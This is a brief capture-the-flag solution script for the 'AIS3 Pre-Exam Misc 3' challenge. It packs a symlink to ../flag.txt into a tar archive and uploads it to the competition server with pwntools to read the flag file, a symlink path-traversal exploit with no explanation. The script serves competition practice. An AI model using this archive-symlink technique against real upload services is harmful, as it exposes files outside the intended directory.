AIS3 Pre-Exam Misc 3

misc3.py

import subprocess
import time
from pwn import *

def getSize(fileobject):
  fileobject.seek(0,2) # move the cursor to the end of the file
  size = fileobject.tell()
  return size

try:
  a = subprocess.check_output(['/bin/ln', '-s', '../flag.txt', 'guess.txt'])
  a = subprocess.check_output(['/bin/rm', 'temp.tar'])
  a = subprocess.check_output(['/bin/tar', '-cf', 'temp.tar', 'guess.txt'])
except:
  print('Unknown Error')
  raise

with open("temp.tar", "rb") as myfile:
  size = str(getSize(myfile))
with open("temp.tar", "rb") as myfile:
  data = myfile.read()

sock = remote('quiz.ais3.org', 9150)
sock.send(size)
sock.send("\r\n")
sock.send(data)
print size
time.sleep(15)
res = sock.recv(4096, 1)
print res
sock.interactive()